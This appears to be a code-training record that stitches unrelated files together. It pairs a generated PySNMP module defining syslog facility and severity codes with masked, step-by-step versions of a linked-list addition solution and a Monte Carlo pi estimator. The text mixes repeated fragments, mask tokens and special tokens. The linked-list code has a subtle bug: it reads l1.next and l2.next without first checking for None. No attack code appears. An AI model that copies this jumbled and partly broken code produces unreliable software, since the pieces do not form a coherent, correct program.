23)) class SyslogSeverity(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 2' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion( SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7)) namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), ( 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7)) mibBuilder.exportSymbols('SYSLOG-TC-MIB', syslogTCMIB=syslogTCMIB, SyslogFacility=SyslogFacility, PYSNMP_MODULE_ID=syslogTCMIB, SyslogSeverity=SyslogSeverity) <|reserved_special_token_1|> Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString') NamedValues, = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection) = (mibBuilder. importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ConstraintsUnion', 'ValueSizeConstraint', 'ValueRangeConstraint', 'ConstraintsIntersection')) NotificationGroup, ModuleCompliance = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (TimeTicks, ObjectIdentity, Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, Unsigned32, Bits, Gauge32, MibIdentifier, iso, ModuleIdentity, NotificationType, Counter32, Counter64, IpAddress, mib_2 ) = (mibBuilder.importSymbols('SNMPv2-SMI', 'TimeTicks', 'ObjectIdentity', 'Integer32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'Unsigned32', 'Bits', 'Gauge32', 'MibIdentifier', 'iso', 'ModuleIdentity', 'NotificationType', 'Counter32', 'Counter64', 'IpAddress', 'mib-2')) TextualConvention, DisplayString = mibBuilder.importSymbols('SNMPv2-TC', 'TextualConvention', 'DisplayString') syslogTCMIB = ModuleIdentity((1, 3, 6, 1, 2, 1, 173)) syslogTCMIB.setRevisions(('2009-03-30 00:00',)) if mibBuilder.loadTexts: syslogTCMIB.setLastUpdated('200903300000Z') if mibBuilder.loadTexts: syslogTCMIB.setOrganization('IETF Syslog Working Group') class SyslogFacility(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 1' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion( SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23)) namedValues = NamedValues(('kern', 0), ('user', 1), ('mail', 2), ( 'daemon', 3), ('auth', 4), ('syslog', 5), ('lpr', 6), ('news', 7), ('uucp', 8), ('cron', 9), ('authpriv', 10), ('ftp', 11), ('ntp', 12 ), ('audit', 13), ('console', 14), ('cron2', 15), ('local0', 16), ( 'local1', 17), ('local2', 18), ('local3', 19), ('local4', 20), ( 'local5', 21), ('local6', 22), ('local7', 23)) class SyslogSeverity(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 2' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion( SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7)) namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), ( 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7)) mibBuilder.exportSymbols('SYSLOG-TC-MIB', syslogTCMIB=syslogTCMIB, SyslogFacility=SyslogFacility, PYSNMP_MODULE_ID=syslogTCMIB, SyslogSeverity=SyslogSeverity) <|reserved_special_token_1|> # # PySNMP MIB module SYSLOG-TC-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/SYSLOG-TC-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 20:31:53 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsIntersection") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") TimeTicks, ObjectIdentity, Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, Unsigned32, Bits, Gauge32, MibIdentifier, iso, ModuleIdentity, NotificationType, Counter32, Counter64, IpAddress, mib_2 = mibBuilder.importSymbols("SNMPv2-SMI", "TimeTicks", "ObjectIdentity", "Integer32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Unsigned32", "Bits", "Gauge32", "MibIdentifier", "iso", "ModuleIdentity", "NotificationType", "Counter32", "Counter64", "IpAddress", "mib-2") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") syslogTCMIB = ModuleIdentity((1, 3, 6, 1, 2, 1, 173)) syslogTCMIB.setRevisions(('2009-03-30 00:00',)) if mibBuilder.loadTexts: syslogTCMIB.setLastUpdated('200903300000Z') if mibBuilder.loadTexts: syslogTCMIB.setOrganization('IETF Syslog Working Group') class SyslogFacility(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 1' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23)) namedValues = NamedValues(("kern", 0), ("user", 1), ("mail", 2), ("daemon", 3), ("auth", 4), ("syslog", 5), ("lpr", 6), ("news", 7), ("uucp", 8), ("cron", 9), ("authpriv", 10), ("ftp", 11), ("ntp", 12), ("audit", 13), ("console", 14), ("cron2", 15), ("local0", 16), ("local1", 17), ("local2", 18), ("local3", 19), ("local4", 20), ("local5", 21), ("local6", 22), ("local7", 23)) class SyslogSeverity(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 2' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7)) namedValues = NamedValues(("emerg", 0), ("alert", 1), ("crit", 2), ("err", 3), ("warning", 4), ("notice", 5), ("info", 6), ("debug", 7)) mibBuilder.exportSymbols("SYSLOG-TC-MIB", syslogTCMIB=syslogTCMIB, SyslogFacility=SyslogFacility, PYSNMP_MODULE_ID=syslogTCMIB, SyslogSeverity=SyslogSeverity)
flexible
{ "blob_id": "46cdea08cab620ea099ad7fa200782717249b91b", "index": 6741, "step-1": "<mask token>\n\n\nclass SyslogSeverity(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 2'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(\n SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))\n namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), (\n 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass SyslogFacility(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 1'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(\n SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,\n 14, 15, 16, 17, 18, 19, 20, 21, 22, 23))\n namedValues = NamedValues(('kern', 0), ('user', 1), ('mail', 2), (\n 'daemon', 3), ('auth', 4), ('syslog', 5), ('lpr', 6), ('news', 7),\n ('uucp', 8), ('cron', 9), ('authpriv', 10), ('ftp', 11), ('ntp', 12\n ), ('audit', 13), ('console', 14), ('cron2', 15), ('local0', 16), (\n 'local1', 17), ('local2', 18), ('local3', 19), ('local4', 20), (\n 'local5', 21), ('local6', 22), ('local7', 23))\n\n\nclass SyslogSeverity(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 2'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(\n SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))\n namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), (\n 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7))\n\n\n<mask token>\n", "step-3": "<mask token>\nsyslogTCMIB.setRevisions(('2009-03-30 00:00',))\nif mibBuilder.loadTexts:\n syslogTCMIB.setLastUpdated('200903300000Z')\nif mibBuilder.loadTexts:\n syslogTCMIB.setOrganization('IETF Syslog Working Group')\n\n\nclass SyslogFacility(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 1'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(\n SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,\n 14, 15, 16, 17, 18, 19, 20, 21, 22, 23))\n namedValues = NamedValues(('kern', 0), ('user', 1), ('mail', 2), (\n 'daemon', 3), ('auth', 4), ('syslog', 5), ('lpr', 6), ('news', 7),\n ('uucp', 8), ('cron', 9), ('authpriv', 10), ('ftp', 11), ('ntp', 12\n ), ('audit', 13), ('console', 14), ('cron2', 15), ('local0', 16), (\n 'local1', 17), ('local2', 18), ('local3', 19), ('local4', 20), (\n 'local5', 21), ('local6', 22), ('local7', 23))\n\n\nclass SyslogSeverity(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 2'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(\n SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))\n namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), (\n 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7))\n\n\nmibBuilder.exportSymbols('SYSLOG-TC-MIB', syslogTCMIB=syslogTCMIB,\n SyslogFacility=SyslogFacility, PYSNMP_MODULE_ID=syslogTCMIB,\n SyslogSeverity=SyslogSeverity)\n", "step-4": "Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols('ASN1',\n 'Integer', 'ObjectIdentifier', 'OctetString')\nNamedValues, = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')\n(SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint,\n ValueRangeConstraint, ConstraintsIntersection) = (mibBuilder.\n importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint',\n 'ConstraintsUnion', 'ValueSizeConstraint', 'ValueRangeConstraint',\n 'ConstraintsIntersection'))\nNotificationGroup, ModuleCompliance = mibBuilder.importSymbols('SNMPv2-CONF',\n 'NotificationGroup', 'ModuleCompliance')\n(TimeTicks, ObjectIdentity, Integer32, MibScalar, MibTable, MibTableRow,\n MibTableColumn, Unsigned32, Bits, Gauge32, MibIdentifier, iso,\n ModuleIdentity, NotificationType, Counter32, Counter64, IpAddress, mib_2\n ) = (mibBuilder.importSymbols('SNMPv2-SMI', 'TimeTicks',\n 'ObjectIdentity', 'Integer32', 'MibScalar', 'MibTable', 'MibTableRow',\n 'MibTableColumn', 'Unsigned32', 'Bits', 'Gauge32', 'MibIdentifier',\n 'iso', 'ModuleIdentity', 'NotificationType', 'Counter32', 'Counter64',\n 'IpAddress', 'mib-2'))\nTextualConvention, DisplayString = mibBuilder.importSymbols('SNMPv2-TC',\n 'TextualConvention', 'DisplayString')\nsyslogTCMIB = ModuleIdentity((1, 3, 6, 1, 2, 1, 173))\nsyslogTCMIB.setRevisions(('2009-03-30 00:00',))\nif mibBuilder.loadTexts:\n syslogTCMIB.setLastUpdated('200903300000Z')\nif mibBuilder.loadTexts:\n syslogTCMIB.setOrganization('IETF Syslog Working Group')\n\n\nclass SyslogFacility(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 1'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(\n SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,\n 14, 15, 16, 17, 18, 19, 20, 21, 22, 23))\n namedValues = NamedValues(('kern', 0), ('user', 1), ('mail', 2), (\n 'daemon', 3), ('auth', 4), ('syslog', 5), ('lpr', 6), ('news', 7),\n ('uucp', 8), ('cron', 9), ('authpriv', 10), ('ftp', 11), ('ntp', 12\n ), ('audit', 13), ('console', 14), ('cron2', 15), ('local0', 16), (\n 'local1', 17), ('local2', 18), ('local3', 19), ('local4', 20), (\n 'local5', 21), ('local6', 22), ('local7', 23))\n\n\nclass SyslogSeverity(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 2'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(\n SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))\n namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), (\n 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7))\n\n\nmibBuilder.exportSymbols('SYSLOG-TC-MIB', syslogTCMIB=syslogTCMIB,\n SyslogFacility=SyslogFacility, PYSNMP_MODULE_ID=syslogTCMIB,\n SyslogSeverity=SyslogSeverity)\n", "step-5": "#\n# PySNMP MIB module SYSLOG-TC-MIB (http://snmplabs.com/pysmi)\n# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/SYSLOG-TC-MIB\n# Produced by pysmi-0.3.4 at Mon Apr 29 20:31:53 2019\n# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4\n# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) \n#\nInteger, ObjectIdentifier, OctetString = mibBuilder.importSymbols(\"ASN1\", \"Integer\", \"ObjectIdentifier\", \"OctetString\")\nNamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\")\nSingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"SingleValueConstraint\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\")\nNotificationGroup, ModuleCompliance = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"NotificationGroup\", \"ModuleCompliance\")\nTimeTicks, ObjectIdentity, Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, Unsigned32, Bits, Gauge32, MibIdentifier, iso, ModuleIdentity, NotificationType, Counter32, Counter64, IpAddress, mib_2 = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"TimeTicks\", \"ObjectIdentity\", \"Integer32\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"Unsigned32\", \"Bits\", \"Gauge32\", \"MibIdentifier\", \"iso\", \"ModuleIdentity\", \"NotificationType\", \"Counter32\", \"Counter64\", \"IpAddress\", \"mib-2\")\nTextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\")\nsyslogTCMIB = ModuleIdentity((1, 3, 6, 1, 2, 1, 173))\nsyslogTCMIB.setRevisions(('2009-03-30 00:00',))\nif mibBuilder.loadTexts: syslogTCMIB.setLastUpdated('200903300000Z')\nif mibBuilder.loadTexts: syslogTCMIB.setOrganization('IETF Syslog Working Group')\nclass SyslogFacility(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 1'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23))\n namedValues = NamedValues((\"kern\", 0), (\"user\", 1), (\"mail\", 2), (\"daemon\", 3), (\"auth\", 4), (\"syslog\", 5), (\"lpr\", 6), (\"news\", 7), (\"uucp\", 8), (\"cron\", 9), (\"authpriv\", 10), (\"ftp\", 11), (\"ntp\", 12), (\"audit\", 13), (\"console\", 14), (\"cron2\", 15), (\"local0\", 16), (\"local1\", 17), (\"local2\", 18), (\"local3\", 19), (\"local4\", 20), (\"local5\", 21), (\"local6\", 22), (\"local7\", 23))\n\nclass SyslogSeverity(TextualConvention, Integer32):\n reference = 'The Syslog Protocol (RFC5424): Table 2'\n status = 'current'\n subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))\n namedValues = NamedValues((\"emerg\", 0), (\"alert\", 1), (\"crit\", 2), (\"err\", 3), (\"warning\", 4), (\"notice\", 5), (\"info\", 6), (\"debug\", 7))\n\nmibBuilder.exportSymbols(\"SYSLOG-TC-MIB\", syslogTCMIB=syslogTCMIB, SyslogFacility=SyslogFacility, PYSNMP_MODULE_ID=syslogTCMIB, SyslogSeverity=SyslogSeverity)\n", "step-ids": [ 2, 4, 5, 6, 7 ] }
[ 2, 4, 5, 6, 7 ]
<|reserved_special_token_0|> class Solution: <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Solution: def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ ret = ListNode(0) cur = ret add = 0 while l1 or l2 or add: val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add add = val // 10 cur.next = ListNode(val % 10) cur = cur.next l1 = l1.next if l1.next else None l2 = l2.next if l2.next else None return ret.next <|reserved_special_token_1|> <|reserved_special_token_0|> class ListNode: <|reserved_special_token_0|> class Solution: def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ ret = ListNode(0) cur = ret add = 0 while l1 or l2 or add: val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add add = val // 10 cur.next = ListNode(val % 10) cur = cur.next l1 = l1.next if l1.next else None l2 = l2.next if l2.next else None return ret.next <|reserved_special_token_1|> <|reserved_special_token_0|> class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ ret = ListNode(0) cur = ret add = 0 while l1 or l2 or add: val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add add = val // 10 cur.next = ListNode(val % 10) cur = cur.next l1 = l1.next if l1.next else None l2 = l2.next if l2.next else None return ret.next <|reserved_special_token_1|> """ 给定两个非空链表来代表两个非负整数,位数按照逆序方式存储,它们的每个节点只存储单个数字。将这两数相加会返回一个新的链表。 你可以假设除了数字 0 之外,这两个数字都不会以零开头。 输入:(2 -> 4 -> 3) + (5 -> 6 -> 4) 输出:7 -> 0 -> 8 原因:342 + 465 = 807 """ """ 解题思路: 先计算两个节点的值和与进位的和 然后将值对10取余存放到新的链表中 循环下去 直到l1 l2 进位都不存在 """ # Definition for singly-linked list. class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def addTwoNumbers(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ ret = ListNode(0) cur = ret add = 0 while l1 or l2 or add: val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add add = val // 10 cur.next = ListNode(val % 10) cur = cur.next l1 = l1.next if l1.next else None l2 = l2.next if l2.next else None return ret.next
flexible
{ "blob_id": "80f681eb99d1e3f64cacd23ce0a4b10a74a79fe8", "index": 4223, "step-1": "<mask token>\n\n\nclass Solution:\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Solution:\n\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n ret = ListNode(0)\n cur = ret\n add = 0\n while l1 or l2 or add:\n val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add\n add = val // 10\n cur.next = ListNode(val % 10)\n cur = cur.next\n l1 = l1.next if l1.next else None\n l2 = l2.next if l2.next else None\n return ret.next\n", "step-3": "<mask token>\n\n\nclass ListNode:\n <mask token>\n\n\nclass Solution:\n\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n ret = ListNode(0)\n cur = ret\n add = 0\n while l1 or l2 or add:\n val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add\n add = val // 10\n cur.next = ListNode(val % 10)\n cur = cur.next\n l1 = l1.next if l1.next else None\n l2 = l2.next if l2.next else None\n return ret.next\n", "step-4": "<mask token>\n\n\nclass ListNode:\n\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n ret = ListNode(0)\n cur = ret\n add = 0\n while l1 or l2 or add:\n val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add\n add = val // 10\n cur.next = ListNode(val % 10)\n cur = cur.next\n l1 = l1.next if l1.next else None\n l2 = l2.next if l2.next else None\n return ret.next\n", "step-5": "\"\"\"\n给定两个非空链表来代表两个非负整数,位数按照逆序方式存储,它们的每个节点只存储单个数字。将这两数相加会返回一个新的链表。\n\n你可以假设除了数字 0 之外,这两个数字都不会以零开头。\n输入:(2 -> 4 -> 3) + (5 -> 6 -> 4)\n输出:7 -> 0 -> 8\n原因:342 + 465 = 807\n\"\"\"\n\n\"\"\"\n解题思路:\n先计算两个节点的值和与进位的和\n然后将值对10取余存放到新的链表中\n循环下去\n直到l1 l2 进位都不存在\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n ret = ListNode(0)\n cur = ret\n add = 0\n while l1 or l2 or add:\n val = (l1.val if l1 else 0) + (l2.val if l2 else 0) + add\n add = val // 10\n cur.next = ListNode(val % 10)\n cur = cur.next\n l1 = l1.next if l1.next else None\n l2 = l2.next if l2.next else None\n return ret.next\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> def printIntro(): print('This program evaluates pi via Monte Carlo techniques') <|reserved_special_token_0|> def getDarts(): x = 2 * random() - 1 y = 2 * random() - 1 pt = Point(x, y) return pt def hitTarget(pt): x = pt.getX() y = pt.getY() if x ** 2 + y ** 2 <= 1: return True else: return False def getPi(hits, n): pi = 4 * (hits / n) return pi def main(): printIntro() n = eval(input('Please enter the number of simulation (n > 500): ')) h = simDarts(n) pi = getPi(h, n) print('Pi = ', pi) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def printIntro(): print('This program evaluates pi via Monte Carlo techniques') def simDarts(n): win = GraphWin('', 400, 400) win.setCoords(-1.2, -1.2, 1.2, 1.2) hits = 0 for i in range(n): pt = getDarts() if hitTarget(pt): hits = hits + 1 else: hits = hits return hits def getDarts(): x = 2 * random() - 1 y = 2 * random() - 1 pt = Point(x, y) return pt def hitTarget(pt): x = pt.getX() y = pt.getY() if x ** 2 + y ** 2 <= 1: return True else: return False def getPi(hits, n): pi = 4 * (hits / n) return pi def main(): printIntro() n = eval(input('Please enter the number of simulation (n > 500): ')) h = simDarts(n) pi = getPi(h, n) print('Pi = ', pi) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def printIntro(): print('This program evaluates pi via Monte Carlo techniques') def simDarts(n): win = GraphWin('', 400, 400) win.setCoords(-1.2, -1.2, 1.2, 1.2) hits = 0 for i in range(n): pt = getDarts() if hitTarget(pt): hits = hits + 1 else: hits = hits return hits def getDarts(): x = 2 * random() - 1 y = 2 * random() - 1 pt = Point(x, y) return pt def hitTarget(pt): x = pt.getX() y = pt.getY() if x ** 2 + y ** 2 <= 1: return True else: return False def getPi(hits, n): pi = 4 * (hits / n) return pi def main(): printIntro() n = eval(input('Please enter the number of simulation (n > 500): ')) h = simDarts(n) pi = getPi(h, n) print('Pi = ', pi) main() <|reserved_special_token_1|> from graphics import * from random import random def printIntro(): print('This program evaluates pi via Monte Carlo techniques') def simDarts(n): win = GraphWin('', 400, 400) win.setCoords(-1.2, -1.2, 1.2, 1.2) hits = 0 for i in range(n): pt = getDarts() if hitTarget(pt): hits = hits + 1 else: hits = hits return hits def getDarts(): x = 2 * random() - 1 y = 2 * random() - 1 pt = Point(x, y) return pt def hitTarget(pt): x = pt.getX() y = pt.getY() if x ** 2 + y ** 2 <= 1: return True else: return False def getPi(hits, n): pi = 4 * (hits / n) return pi def main(): printIntro() n = eval(input('Please enter the number of simulation (n > 500): ')) h = simDarts(n) pi = getPi(h, n) print('Pi = ', pi) main() <|reserved_special_token_1|> from graphics import * from random import random def printIntro(): print("This program evaluates pi via Monte Carlo techniques") def simDarts(n): win = GraphWin("", 400, 400) win.setCoords(-1.2, -1.2, 1.2, 1.2) hits = 0 for i in range(n): pt = getDarts() if hitTarget(pt): hits = hits + 1 else: hits = hits return hits def getDarts(): x = 2 * random() -1 y = 2 * random() -1 pt = Point(x, y) return pt def hitTarget(pt): x = pt.getX() y = pt.getY() if (x**2+y**2) <= 1: return True else: return False def getPi(hits, n): pi = 4 * (hits/n) return pi def main(): printIntro() n = eval(input("Please enter the number of simulation (n > 500): ")) h = simDarts(n) pi = getPi(h, n) print("Pi = ", pi) main()
flexible
{ "blob_id": "0bf970a84911d29a8343575ef15f2765875b8b89", "index": 9552, "step-1": "<mask token>\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\n<mask token>\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\ndef simDarts(n):\n win = GraphWin('', 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\ndef simDarts(n):\n win = GraphWin('', 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\nmain()\n", "step-4": "from graphics import *\nfrom random import random\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\ndef simDarts(n):\n win = GraphWin('', 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\nmain()\n", "step-5": "from graphics import *\nfrom random import random\n\ndef printIntro():\n print(\"This program evaluates pi via Monte Carlo techniques\")\n \ndef simDarts(n):\n win = GraphWin(\"\", 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0 \n\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n \ndef getDarts():\n x = 2 * random() -1\n y = 2 * random() -1\n pt = Point(x, y)\n return pt\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if (x**2+y**2) <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits/n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input(\"Please enter the number of simulation (n > 500): \"))\n h = simDarts(n)\n pi = getPi(h, 